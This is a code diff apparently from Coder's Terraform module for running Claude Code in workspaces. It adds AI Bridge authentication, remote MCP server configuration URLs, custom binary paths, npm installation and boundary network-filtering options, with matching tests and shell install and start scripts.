// Verify both URLs are attempted
|
||||
expect(installLog).toContain(failingUrl);
|
||||
expect(installLog).toContain(successUrl);
|
||||
|
||||
// First URL should fail gracefully
|
||||
expect(installLog).toContain(
|
||||
`Warning: Failed to fetch MCP configuration from '${failingUrl}'`,
|
||||
);
|
||||
|
||||
// Second URL should succeed - no failure warning for it
|
||||
expect(installLog).not.toContain(
|
||||
`Warning: Failed to fetch MCP configuration from '${successUrl}'`,
|
||||
);
|
||||
|
||||
// Should contain the MCP server add command from successful fetch
|
||||
expect(installLog).toContain(
|
||||
"Added stdio MCP server go-language-server to local config",
|
||||
);
|
||||
|
||||
expect(installLog).toContain(
|
||||
"Added stdio MCP server typescript-language-server to local config",
|
||||
);
|
||||
|
||||
// Verify the MCP config was added to claude.json
|
||||
const claudeConfig = await readFileContainer(
|
||||
id,
|
||||
"/home/coder/.claude.json",
|
||||
);
|
||||
expect(claudeConfig).toContain("typescript-language-server");
|
||||
expect(claudeConfig).toContain("go-language-server");
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
terraform {
|
||||
required_version = ">= 1.0"
|
||||
required_version = ">= 1.9"
|
||||
|
||||
required_providers {
|
||||
coder = {
|
||||
@@ -86,7 +86,7 @@ variable "install_agentapi" {
|
||||
variable "agentapi_version" {
|
||||
type = string
|
||||
description = "The version of AgentAPI to install."
|
||||
default = "v0.11.6"
|
||||
default = "v0.11.8"
|
||||
}
|
||||
|
||||
variable "ai_prompt" {
|
||||
@@ -128,7 +128,7 @@ variable "claude_api_key" {
|
||||
|
||||
variable "model" {
|
||||
type = string
|
||||
description = "Sets the model for the current session with an alias for the latest model (sonnet or opus) or a model’s full name."
|
||||
description = "Sets the default model for Claude Code via ANTHROPIC_MODEL env var. If empty, Claude Code uses its default. Supports aliases (sonnet, opus) or full model names."
|
||||
default = ""
|
||||
}
|
||||
|
||||
@@ -166,6 +166,12 @@ variable "mcp" {
|
||||
default = ""
|
||||
}
|
||||
|
||||
variable "mcp_config_remote_path" {
|
||||
type = list(string)
|
||||
description = "List of URLs that return JSON MCP server configurations (text/plain with valid JSON)"
|
||||
default = []
|
||||
}
|
||||
|
||||
variable "allowed_tools" {
|
||||
type = string
|
||||
description = "A list of tools that should be allowed without prompting the user for permission, in addition to settings.json files."
|
||||
@@ -198,6 +204,23 @@ variable "claude_md_path" {
|
||||
default = "$HOME/.claude/CLAUDE.md"
|
||||
}
|
||||
|
||||
variable "claude_binary_path" {
|
||||
type = string
|
||||
description = "Directory where the Claude Code binary is located. Use this if Claude is pre-installed or installed outside the module to a non-default location."
|
||||
default = "$HOME/.local/bin"
|
||||
|
||||
validation {
|
||||
condition = var.claude_binary_path == "$HOME/.local/bin" || !var.install_claude_code
|
||||
error_message = "Custom claude_binary_path can only be used when install_claude_code is false. The official installer always installs to $HOME/.local/bin and does not support custom paths."
|
||||
}
|
||||
}
|
||||
|
||||
variable "install_via_npm" {
|
||||
type = bool
|
||||
description = "Install Claude Code via npm instead of the official installer. Useful if npm is preferred or the official installer fails."
|
||||
default = false
|
||||
}
|
||||
|
||||
variable "enable_boundary" {
|
||||
type = bool
|
||||
description = "Whether to enable coder boundary for network filtering"
|
||||
@@ -206,8 +229,8 @@ variable "enable_boundary" {
|
||||
|
||||
variable "boundary_version" {
|
||||
type = string
|
||||
description = "Boundary version, valid git reference should be provided (tag, commit, branch)"
|
||||
default = "main"
|
||||
description = "Boundary version. When use_boundary_directly is true, a release version should be provided or 'latest' for the latest release. When compile_boundary_from_source is true, a valid git reference should be provided (tag, commit, branch)."
|
||||
default = "latest"
|
||||
}
|
||||
|
||||
variable "compile_boundary_from_source" {
|
||||
@@ -216,9 +239,30 @@ variable "compile_boundary_from_source" {
|
||||
default = false
|
||||
}
|
||||
|
||||
resource "coder_env" "claude_code_md_path" {
|
||||
count = var.claude_md_path == "" ? 0 : 1
|
||||
variable "use_boundary_directly" {
|
||||
type = bool
|
||||
description = "Whether to use boundary binary directly instead of coder boundary subcommand. When false (default), uses coder boundary subcommand. When true, installs and uses boundary binary from release."
|
||||
default = false
|
||||
}
|
||||
|
||||
variable "enable_aibridge" {
|
||||
type = bool
|
||||
description = "Use AI Bridge for Claude Code. https://coder.com/docs/ai-coder/ai-bridge"
|
||||
default = false
|
||||
|
||||
validation {
|
||||
condition = !(var.enable_aibridge && length(var.claude_api_key) > 0)
|
||||
error_message = "claude_api_key cannot be provided when enable_aibridge is true. AI Bridge automatically authenticates the client using Coder credentials."
|
||||
}
|
||||
|
||||
validation {
|
||||
condition = !(var.enable_aibridge && length(var.claude_code_oauth_token) > 0)
|
||||
error_message = "claude_code_oauth_token cannot be provided when enable_aibridge is true. AI Bridge automatically authenticates the client using Coder credentials."
|
||||
}
|
||||
}
|
||||
|
||||
resource "coder_env" "claude_code_md_path" {
|
||||
count = var.claude_md_path == "" ? 0 : 1
|
||||
agent_id = var.agent_id
|
||||
name = "CODER_MCP_CLAUDE_MD_PATH"
|
||||
value = var.claude_md_path
|
||||
@@ -237,25 +281,33 @@ resource "coder_env" "claude_code_oauth_token" {
|
||||
}
|
||||
|
||||
resource "coder_env" "claude_api_key" {
|
||||
count = length(var.claude_api_key) > 0 ? 1 : 0
|
||||
count = local.claude_api_key != "" ? 1 : 0
|
||||
|
||||
agent_id = var.agent_id
|
||||
name = "CLAUDE_API_KEY"
|
||||
value = var.claude_api_key
|
||||
value = local.claude_api_key
|
||||
}
|
||||
|
||||
resource "coder_env" "disable_autoupdater" {
|
||||
count = var.disable_autoupdater ? 1 : 0
|
||||
|
||||
count = var.disable_autoupdater ? 1 : 0
|
||||
agent_id = var.agent_id
|
||||
name = "DISABLE_AUTOUPDATER"
|
||||
value = "1"
|
||||
}
|
||||
|
||||
resource "coder_env" "claude_binary_path" {
|
||||
|
||||
resource "coder_env" "anthropic_model" {
|
||||
count = var.model != "" ? 1 : 0
|
||||
agent_id = var.agent_id
|
||||
name = "PATH"
|
||||
value = "$HOME/.local/bin:$PATH"
|
||||
name = "ANTHROPIC_MODEL"
|
||||
value = var.model
|
||||
}
|
||||
|
||||
resource "coder_env" "anthropic_base_url" {
|
||||
count = var.enable_aibridge ? 1 : 0
|
||||
agent_id = var.agent_id
|
||||
name = "ANTHROPIC_BASE_URL"
|
||||
value = "${data.coder_workspace.me.access_url}/api/v2/aibridge/anthropic"
|
||||
}
|
||||
|
||||
locals {
|
||||
@@ -267,7 +319,8 @@ locals {
|
||||
start_script = file("${path.module}/scripts/start.sh")
|
||||
module_dir_name = ".claude-module"
|
||||
# Extract hostname from access_url for boundary --allow flag
|
||||
coder_host = replace(replace(data.coder_workspace.me.access_url, "https://", ""), "http://", "")
|
||||
coder_host = replace(replace(data.coder_workspace.me.access_url, "https://", ""), "http://", "")
|
||||
claude_api_key = var.enable_aibridge ? data.coder_workspace_owner.me.session_token : var.claude_api_key
|
||||
|
||||
# Required prompts for the module to properly report task status to Coder
|
||||
report_tasks_system_prompt = <<-EOT
|
||||
@@ -322,26 +375,27 @@ module "agentapi" {
|
||||
pre_install_script = var.pre_install_script
|
||||
post_install_script = var.post_install_script
|
||||
start_script = <<-EOT
|
||||
#!/bin/bash
|
||||
set -o errexit
|
||||
set -o pipefail
|
||||
echo -n '${base64encode(local.start_script)}' | base64 -d > /tmp/start.sh
|
||||
chmod +x /tmp/start.sh
|
||||
#!/bin/bash
|
||||
set -o errexit
|
||||
set -o pipefail
|
||||
echo -n '${base64encode(local.start_script)}' | base64 -d > /tmp/start.sh
|
||||
chmod +x /tmp/start.sh
|
||||
|
||||
ARG_MODEL='${var.model}' \
|
||||
ARG_RESUME_SESSION_ID='${var.resume_session_id}' \
|
||||
ARG_CONTINUE='${var.continue}' \
|
||||
ARG_DANGEROUSLY_SKIP_PERMISSIONS='${var.dangerously_skip_permissions}' \
|
||||
ARG_PERMISSION_MODE='${var.permission_mode}' \
|
||||
ARG_WORKDIR='${local.workdir}' \
|
||||
ARG_AI_PROMPT='${base64encode(var.ai_prompt)}' \
|
||||
ARG_REPORT_TASKS='${var.report_tasks}' \
|
||||
ARG_ENABLE_BOUNDARY='${var.enable_boundary}' \
|
||||
ARG_BOUNDARY_VERSION='${var.boundary_version}' \
|
||||
ARG_COMPILE_FROM_SOURCE='${var.compile_boundary_from_source}' \
|
||||
ARG_CODER_HOST='${local.coder_host}' \
|
||||
/tmp/start.sh
|
||||
EOT
|
||||
ARG_RESUME_SESSION_ID='${var.resume_session_id}' \
|
||||
ARG_CONTINUE='${var.continue}' \
|
||||
ARG_DANGEROUSLY_SKIP_PERMISSIONS='${var.dangerously_skip_permissions}' \
|
||||
ARG_PERMISSION_MODE='${var.permission_mode}' \
|
||||
ARG_WORKDIR='${local.workdir}' \
|
||||
ARG_AI_PROMPT='${base64encode(var.ai_prompt)}' \
|
||||
ARG_REPORT_TASKS='${var.report_tasks}' \
|
||||
ARG_ENABLE_BOUNDARY='${var.enable_boundary}' \
|
||||
ARG_BOUNDARY_VERSION='${var.boundary_version}' \
|
||||
ARG_COMPILE_FROM_SOURCE='${var.compile_boundary_from_source}' \
|
||||
ARG_USE_BOUNDARY_DIRECTLY='${var.use_boundary_directly}' \
|
||||
ARG_CODER_HOST='${local.coder_host}' \
|
||||
ARG_CLAUDE_BINARY_PATH='${var.claude_binary_path}' \
|
||||
/tmp/start.sh
|
||||
EOT
|
||||
|
||||
install_script = <<-EOT
|
||||
#!/bin/bash
|
||||
@@ -353,11 +407,15 @@ module "agentapi" {
|
||||
ARG_CLAUDE_CODE_VERSION='${var.claude_code_version}' \
|
||||
ARG_MCP_APP_STATUS_SLUG='${local.app_slug}' \
|
||||
ARG_INSTALL_CLAUDE_CODE='${var.install_claude_code}' \
|
||||
ARG_CLAUDE_BINARY_PATH='${var.claude_binary_path}' \
|
||||
ARG_INSTALL_VIA_NPM='${var.install_via_npm}' \
|
||||
ARG_REPORT_TASKS='${var.report_tasks}' \
|
||||
ARG_WORKDIR='${local.workdir}' \
|
||||
ARG_ALLOWED_TOOLS='${var.allowed_tools}' \
|
||||
ARG_DISALLOWED_TOOLS='${var.disallowed_tools}' \
|
||||
ARG_MCP='${var.mcp != null ? base64encode(replace(var.mcp, "'", "'\\''")) : ""}' \
|
||||
ARG_MCP_CONFIG_REMOTE_PATH='${base64encode(jsonencode(var.mcp_config_remote_path))}' \
|
||||
ARG_ENABLE_AIBRIDGE='${var.enable_aibridge}' \
|
||||
/tmp/install.sh
|
||||
EOT
|
||||
}
|
||||
|
||||
@@ -288,3 +288,116 @@ run "test_claude_report_tasks_disabled" {
|
||||
error_message = "System prompt should end with </system>"
|
||||
}
|
||||
}
|
||||
|
||||
run "test_aibridge_enabled" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-aibridge"
|
||||
workdir = "/home/coder/aibridge"
|
||||
enable_aibridge = true
|
||||
}
|
||||
|
||||
override_data {
|
||||
target = data.coder_workspace_owner.me
|
||||
values = {
|
||||
session_token = "mock-session-token"
|
||||
}
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.enable_aibridge == true
|
||||
error_message = "AI Bridge should be enabled"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_env.anthropic_base_url[0].name == "ANTHROPIC_BASE_URL"
|
||||
error_message = "ANTHROPIC_BASE_URL environment variable should be set"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = length(regexall("/api/v2/aibridge/anthropic", coder_env.anthropic_base_url[0].value)) > 0
|
||||
error_message = "ANTHROPIC_BASE_URL should point to AI Bridge endpoint"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_env.claude_api_key[0].name == "CLAUDE_API_KEY"
|
||||
error_message = "CLAUDE_API_KEY environment variable should be set"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_env.claude_api_key[0].value == data.coder_workspace_owner.me.session_token
|
||||
error_message = "CLAUDE_API_KEY should use workspace owner's session token when aibridge is enabled"
|
||||
}
|
||||
}
|
||||
|
||||
run "test_aibridge_validation_with_api_key" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-validation"
|
||||
workdir = "/home/coder/test"
|
||||
enable_aibridge = true
|
||||
claude_api_key = "test-api-key"
|
||||
}
|
||||
|
||||
expect_failures = [
|
||||
var.enable_aibridge,
|
||||
]
|
||||
}
|
||||
|
||||
run "test_aibridge_validation_with_oauth_token" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-validation"
|
||||
workdir = "/home/coder/test"
|
||||
enable_aibridge = true
|
||||
claude_code_oauth_token = "test-oauth-token"
|
||||
}
|
||||
|
||||
expect_failures = [
|
||||
var.enable_aibridge,
|
||||
]
|
||||
}
|
||||
|
||||
run "test_aibridge_disabled_with_api_key" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-no-aibridge"
|
||||
workdir = "/home/coder/test"
|
||||
enable_aibridge = false
|
||||
claude_api_key = "test-api-key-xyz"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.enable_aibridge == false
|
||||
error_message = "AI Bridge should be disabled"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_env.claude_api_key[0].value == "test-api-key-xyz"
|
||||
error_message = "CLAUDE_API_KEY should use the provided API key when aibridge is disabled"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = length(coder_env.anthropic_base_url) == 0
|
||||
error_message = "ANTHROPIC_BASE_URL should not be set when aibridge is disabled"
|
||||
}
|
||||
}
|
||||
|
||||
run "test_no_api_key_no_env" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-no-key"
|
||||
workdir = "/home/coder/test"
|
||||
enable_aibridge = false
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = length(coder_env.claude_api_key) == 0
|
||||
error_message = "CLAUDE_API_KEY should not be created when no API key is provided and aibridge is disabled"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -11,39 +11,123 @@ command_exists() {
|
||||
ARG_CLAUDE_CODE_VERSION=${ARG_CLAUDE_CODE_VERSION:-}
|
||||
ARG_WORKDIR=${ARG_WORKDIR:-"$HOME"}
|
||||
ARG_INSTALL_CLAUDE_CODE=${ARG_INSTALL_CLAUDE_CODE:-}
|
||||
ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"}
|
||||
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}"
|
||||
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}"
|
||||
ARG_INSTALL_VIA_NPM=${ARG_INSTALL_VIA_NPM:-false}
|
||||
ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true}
|
||||
ARG_MCP_APP_STATUS_SLUG=${ARG_MCP_APP_STATUS_SLUG:-}
|
||||
ARG_MCP=$(echo -n "${ARG_MCP:-}" | base64 -d)
|
||||
ARG_MCP_CONFIG_REMOTE_PATH=$(echo -n "${ARG_MCP_CONFIG_REMOTE_PATH:-}" | base64 -d)
|
||||
ARG_ALLOWED_TOOLS=${ARG_ALLOWED_TOOLS:-}
|
||||
ARG_DISALLOWED_TOOLS=${ARG_DISALLOWED_TOOLS:-}
|
||||
ARG_ENABLE_AIBRIDGE=${ARG_ENABLE_AIBRIDGE:-false}
|
||||
|
||||
export PATH="$ARG_CLAUDE_BINARY_PATH:$PATH"
|
||||
|
||||
echo "--------------------------------"
|
||||
|
||||
printf "ARG_CLAUDE_CODE_VERSION: %s\n" "$ARG_CLAUDE_CODE_VERSION"
|
||||
printf "ARG_WORKDIR: %s\n" "$ARG_WORKDIR"
|
||||
printf "ARG_INSTALL_CLAUDE_CODE: %s\n" "$ARG_INSTALL_CLAUDE_CODE"
|
||||
printf "ARG_CLAUDE_BINARY_PATH: %s\n" "$ARG_CLAUDE_BINARY_PATH"
|
||||
printf "ARG_INSTALL_VIA_NPM: %s\n" "$ARG_INSTALL_VIA_NPM"
|
||||
printf "ARG_REPORT_TASKS: %s\n" "$ARG_REPORT_TASKS"
|
||||
printf "ARG_MCP_APP_STATUS_SLUG: %s\n" "$ARG_MCP_APP_STATUS_SLUG"
|
||||
printf "ARG_MCP: %s\n" "$ARG_MCP"
|
||||
printf "ARG_MCP_CONFIG_REMOTE_PATH: %s\n" "$ARG_MCP_CONFIG_REMOTE_PATH"
|
||||
printf "ARG_ALLOWED_TOOLS: %s\n" "$ARG_ALLOWED_TOOLS"
|
||||
printf "ARG_DISALLOWED_TOOLS: %s\n" "$ARG_DISALLOWED_TOOLS"
|
||||
printf "ARG_ENABLE_AIBRIDGE: %s\n" "$ARG_ENABLE_AIBRIDGE"
|
||||
|
||||
echo "--------------------------------"
|
||||
|
||||
function add_mcp_servers() {
|
||||
local mcp_json="$1"
|
||||
local source_desc="$2"
|
||||
|
||||
while IFS= read -r server_name && IFS= read -r server_json; do
|
||||
echo "------------------------"
|
||||
echo "Executing: claude mcp add-json \"$server_name\" '$server_json' ($source_desc)"
|
||||
claude mcp add-json "$server_name" "$server_json" || echo "Warning: Failed to add MCP server '$server_name', continuing..."
|
||||
echo "------------------------"
|
||||
echo ""
|
||||
done < <(echo "$mcp_json" | jq -r '.mcpServers | to_entries[] | .key, (.value | @json)')
|
||||
}
|
||||
|
||||
function add_path_to_shell_profiles() {
|
||||
local path_dir="$1"
|
||||
|
||||
for profile in "$HOME/.profile" "$HOME/.bash_profile" "$HOME/.bashrc" "$HOME/.zprofile" "$HOME/.zshrc"; do
|
||||
if [ -f "$profile" ]; then
|
||||
if ! grep -q "$path_dir" "$profile" 2> /dev/null; then
|
||||
echo "export PATH=\"\$PATH:$path_dir\"" >> "$profile"
|
||||
echo "Added $path_dir to $profile"
|
||||
fi
|
||||
fi
|
||||
done
|
||||
|
||||
local fish_config="$HOME/.config/fish/config.fish"
|
||||
if [ -f "$fish_config" ]; then
|
||||
if ! grep -q "$path_dir" "$fish_config" 2> /dev/null; then
|
||||
echo "fish_add_path $path_dir" >> "$fish_config"
|
||||
echo "Added $path_dir to $fish_config"
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
function ensure_claude_in_path() {
|
||||
local CLAUDE_BIN=""
|
||||
if command -v claude > /dev/null 2>&1; then
|
||||
CLAUDE_BIN=$(command -v claude)
|
||||
elif [ -x "$ARG_CLAUDE_BINARY_PATH/claude" ]; then
|
||||
CLAUDE_BIN="$ARG_CLAUDE_BINARY_PATH/claude"
|
||||
elif [ -x "$HOME/.local/bin/claude" ]; then
|
||||
CLAUDE_BIN="$HOME/.local/bin/claude"
|
||||
fi
|
||||
|
||||
if [ -z "$CLAUDE_BIN" ] || [ ! -x "$CLAUDE_BIN" ]; then
|
||||
echo "Warning: Could not find claude binary"
|
||||
return
|
||||
fi
|
||||
|
||||
local CLAUDE_DIR
|
||||
CLAUDE_DIR=$(dirname "$CLAUDE_BIN")
|
||||
|
||||
if [ -n "${CODER_SCRIPT_BIN_DIR:-}" ] && [ ! -e "$CODER_SCRIPT_BIN_DIR/claude" ]; then
|
||||
ln -s "$CLAUDE_BIN" "$CODER_SCRIPT_BIN_DIR/claude"
|
||||
echo "Created symlink: $CODER_SCRIPT_BIN_DIR/claude -> $CLAUDE_BIN"
|
||||
fi
|
||||
|
||||
add_path_to_shell_profiles "$CLAUDE_DIR"
|
||||
}
|
||||
|
||||
function install_claude_code_cli() {
|
||||
if [ "$ARG_INSTALL_CLAUDE_CODE" = "true" ]; then
|
||||
if [ "$ARG_INSTALL_CLAUDE_CODE" != "true" ]; then
|
||||
echo "Skipping Claude Code installation as per configuration."
|
||||
ensure_claude_in_path
|
||||
return
|
||||
fi
|
||||
|
||||
# Use npm when install_via_npm is true
|
||||
if [ "$ARG_INSTALL_VIA_NPM" = "true" ]; then
|
||||
echo "WARNING: npm installation method will be deprecated and removed in the next major release."
|
||||
echo "Installing Claude Code via npm (version: $ARG_CLAUDE_CODE_VERSION)"
|
||||
npm install -g "@anthropic-ai/claude-code@$ARG_CLAUDE_CODE_VERSION"
|
||||
echo "Installed Claude Code via npm. Version: $(claude --version || echo 'unknown')"
|
||||
else
|
||||
echo "Installing Claude Code via official installer"
|
||||
set +e
|
||||
curl -fsSL claude.ai/install.sh | bash -s -- "$ARG_CLAUDE_CODE_VERSION" 2>&1
|
||||
CURL_EXIT=${PIPESTATUS[0]}
|
||||
set -e
|
||||
if [ $CURL_EXIT -ne 0 ]; then
|
||||
echo "Claude Code installer failed with exit code $$CURL_EXIT"
|
||||
echo "Claude Code installer failed with exit code $CURL_EXIT"
|
||||
fi
|
||||
echo "Installed Claude Code successfully. Version: $(claude --version || echo 'unknown')"
|
||||
else
|
||||
echo "Skipping Claude Code installation as per configuration."
|
||||
fi
|
||||
|
||||
ensure_claude_in_path
|
||||
}
|
||||
|
||||
function setup_claude_configurations() {
|
||||
@@ -60,13 +144,25 @@ function setup_claude_configurations() {
|
||||
if [ "$ARG_MCP" != "" ]; then
|
||||
(
|
||||
cd "$ARG_WORKDIR"
|
||||
while IFS= read -r server_name && IFS= read -r server_json; do
|
||||
echo "------------------------"
|
||||
echo "Executing: claude mcp add-json \"$server_name\" '$server_json' (in $ARG_WORKDIR)"
|
||||
claude mcp add-json "$server_name" "$server_json"
|
||||
echo "------------------------"
|
||||
echo ""
|
||||
done < <(echo "$ARG_MCP" | jq -r '.mcpServers | to_entries[] | .key, (.value | @json)')
|
||||
add_mcp_servers "$ARG_MCP" "in $ARG_WORKDIR"
|
||||
)
|
||||
fi
|
||||
|
||||
if [ -n "$ARG_MCP_CONFIG_REMOTE_PATH" ] && [ "$ARG_MCP_CONFIG_REMOTE_PATH" != "[]" ]; then
|
||||
(
|
||||
cd "$ARG_WORKDIR"
|
||||
for url in $(echo "$ARG_MCP_CONFIG_REMOTE_PATH" | jq -r '.[]'); do
|
||||
echo "Fetching MCP configuration from: $url"
|
||||
mcp_json=$(curl -fsSL "$url") || {
|
||||
echo "Warning: Failed to fetch MCP configuration from '$url', continuing..."
|
||||
continue
|
||||
}
|
||||
if ! echo "$mcp_json" | jq -e '.mcpServers' > /dev/null 2>&1; then
|
||||
echo "Warning: Invalid MCP configuration from '$url' (missing mcpServers), continuing..."
|
||||
continue
|
||||
fi
|
||||
add_mcp_servers "$mcp_json" "from $url"
|
||||
done
|
||||
)
|
||||
fi
|
||||
|
||||
@@ -83,8 +179,8 @@ function setup_claude_configurations() {
|
||||
function configure_standalone_mode() {
|
||||
echo "Configuring Claude Code for standalone mode..."
|
||||
|
||||
if [ -z "${CLAUDE_API_KEY:-}" ]; then
|
||||
echo "Note: CLAUDE_API_KEY not set, skipping authentication setup"
|
||||
if [ -z "${CLAUDE_API_KEY:-}" ] && [ "$ARG_ENABLE_AIBRIDGE" = "false" ]; then
|
||||
echo "Note: Neither claude_api_key nor enable_aibridge is set, skipping authentication setup"
|
||||
return
|
||||
fi
|
||||
|
||||
@@ -97,8 +193,7 @@ function configure_standalone_mode() {
|
||||
if [ -f "$claude_config" ]; then
|
||||
echo "Updating existing Claude configuration at $claude_config"
|
||||
|
||||
jq --arg apikey "${CLAUDE_API_KEY:-}" \
|
||||
--arg workdir "$ARG_WORKDIR" \
|
||||
jq --arg workdir "$ARG_WORKDIR" --arg apikey "${CLAUDE_API_KEY:-}" \
|
||||
'.autoUpdaterStatus = "disabled" |
|
||||
.bypassPermissionsModeAccepted = true |
|
||||
.hasAcknowledgedCostThreshold = true |
|
||||
|
||||
@@ -2,11 +2,16 @@
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"}
|
||||
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}"
|
||||
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}"
|
||||
|
||||
export PATH="$ARG_CLAUDE_BINARY_PATH:$PATH"
|
||||
|
||||
command_exists() {
|
||||
command -v "$1" > /dev/null 2>&1
|
||||
}
|
||||
|
||||
ARG_MODEL=${ARG_MODEL:-}
|
||||
ARG_RESUME_SESSION_ID=${ARG_RESUME_SESSION_ID:-}
|
||||
ARG_CONTINUE=${ARG_CONTINUE:-false}
|
||||
ARG_DANGEROUSLY_SKIP_PERMISSIONS=${ARG_DANGEROUSLY_SKIP_PERMISSIONS:-}
|
||||
@@ -15,13 +20,13 @@ ARG_WORKDIR=${ARG_WORKDIR:-"$HOME"}
|
||||
ARG_AI_PROMPT=$(echo -n "${ARG_AI_PROMPT:-}" | base64 -d)
|
||||
ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true}
|
||||
ARG_ENABLE_BOUNDARY=${ARG_ENABLE_BOUNDARY:-false}
|
||||
ARG_BOUNDARY_VERSION=${ARG_BOUNDARY_VERSION:-"main"}
|
||||
ARG_BOUNDARY_VERSION=${ARG_BOUNDARY_VERSION:-"latest"}
|
||||
ARG_COMPILE_FROM_SOURCE=${ARG_COMPILE_FROM_SOURCE:-false}
|
||||
ARG_USE_BOUNDARY_DIRECTLY=${ARG_USE_BOUNDARY_DIRECTLY:-false}
|
||||
ARG_CODER_HOST=${ARG_CODER_HOST:-}
|
||||
|
||||
echo "--------------------------------"
|
||||
|
||||
printf "ARG_MODEL: %s\n" "$ARG_MODEL"
|
||||
printf "ARG_RESUME: %s\n" "$ARG_RESUME_SESSION_ID"
|
||||
printf "ARG_CONTINUE: %s\n" "$ARG_CONTINUE"
|
||||
printf "ARG_DANGEROUSLY_SKIP_PERMISSIONS: %s\n" "$ARG_DANGEROUSLY_SKIP_PERMISSIONS"
|
||||
@@ -32,12 +37,13 @@ printf "ARG_REPORT_TASKS: %s\n" "$ARG_REPORT_TASKS"
|
||||
printf "ARG_ENABLE_BOUNDARY: %s\n" "$ARG_ENABLE_BOUNDARY"
|
||||
printf "ARG_BOUNDARY_VERSION: %s\n" "$ARG_BOUNDARY_VERSION"
|
||||
printf "ARG_COMPILE_FROM_SOURCE: %s\n" "$ARG_COMPILE_FROM_SOURCE"
|
||||
printf "ARG_USE_BOUNDARY_DIRECTLY: %s\n" "$ARG_USE_BOUNDARY_DIRECTLY"
|
||||
printf "ARG_CODER_HOST: %s\n" "$ARG_CODER_HOST"
|
||||
|
||||
echo "--------------------------------"
|
||||
|
||||
function install_boundary() {
|
||||
if [ "${ARG_COMPILE_FROM_SOURCE:-false}" = "true" ]; then
|
||||
if [ "$ARG_COMPILE_FROM_SOURCE" = "true" ]; then
|
||||
# Install boundary by compiling from source
|
||||
echo "Compiling boundary from source (version: $ARG_BOUNDARY_VERSION)"
|
||||
|
||||
@@ -54,14 +60,16 @@ function install_boundary() {
|
||||
# Build the binary
|
||||
make build
|
||||
|
||||
# Install binary and wrapper script (optional)
|
||||
# Install binary
|
||||
sudo cp boundary /usr/local/bin/
|
||||
sudo cp scripts/boundary-wrapper.sh /usr/local/bin/boundary-run
|
||||
sudo chmod +x /usr/local/bin/boundary-run
|
||||
else
|
||||
sudo chmod +x /usr/local/bin/boundary
|
||||
elif [ "$ARG_USE_BOUNDARY_DIRECTLY" = "true" ]; then
|
||||
# Install boundary using official install script
|
||||
echo "Installing boundary using official install script (version: $ARG_BOUNDARY_VERSION)"
|
||||
curl -fsSL https://raw.githubusercontent.com/coder/boundary/main/install.sh | bash -s -- --version "$ARG_BOUNDARY_VERSION"
|
||||
else
|
||||
# Use coder boundary subcommand (default) - no installation needed
|
||||
echo "Using coder boundary subcommand (provided by Coder)"
|
||||
fi
|
||||
}
|
||||
|
||||
@@ -170,10 +178,6 @@ function start_agentapi() {
|
||||
mkdir -p "$ARG_WORKDIR"
|
||||
cd "$ARG_WORKDIR"
|
||||
|
||||
if [ -n "$ARG_MODEL" ]; then
|
||||
ARGS+=(--model "$ARG_MODEL")
|
||||
fi
|
||||
|
||||
if [ -n "$ARG_PERMISSION_MODE" ]; then
|
||||
ARGS+=(--permission-mode "$ARG_PERMISSION_MODE")
|
||||
fi
|
||||
@@ -218,16 +222,30 @@ function start_agentapi() {
|
||||
|
||||
printf "Running claude code with args: %s\n" "$(printf '%q ' "${ARGS[@]}")"
|
||||
|
||||
if [ "${ARG_ENABLE_BOUNDARY:-false}" = "true" ]; then
|
||||
if [ "$ARG_ENABLE_BOUNDARY" = "true" ]; then
|
||||
install_boundary
|
||||
|
||||
printf "Starting with coder boundary enabled\n"
|
||||
|
||||
# Add default allowed URLs
|
||||
BOUNDARY_ARGS+=(--allow "domain=anthropic.com" --allow "domain=registry.npmjs.org" --allow "domain=sentry.io" --allow "domain=claude.ai" --allow "domain=$ARG_CODER_HOST")
|
||||
BOUNDARY_ARGS+=()
|
||||
|
||||
# Determine which boundary command to use
|
||||
if [ "$ARG_COMPILE_FROM_SOURCE" = "true" ] || [ "$ARG_USE_BOUNDARY_DIRECTLY" = "true" ]; then
|
||||
# Use boundary binary directly (from compilation or release installation)
|
||||
BOUNDARY_CMD=("boundary")
|
||||
else
|
||||
# Use coder boundary subcommand (default)
|
||||
# Copy coder binary to coder-no-caps. Copying strips CAP_NET_ADMIN capabilities
|
||||
# from the binary, which is necessary because boundary doesn't work with
|
||||
# privileged binaries (you can't launch privileged binaries inside network
|
||||
# namespaces unless you have sys_admin).
|
||||
CODER_NO_CAPS="$(dirname "$(which coder)")/coder-no-caps"
|
||||
cp "$(which coder)" "$CODER_NO_CAPS"
|
||||
BOUNDARY_CMD=("$CODER_NO_CAPS" "boundary")
|
||||
fi
|
||||
|
||||
agentapi server --type claude --term-width 67 --term-height 1190 -- \
|
||||
boundary-run "${BOUNDARY_ARGS[@]}" -- \
|
||||
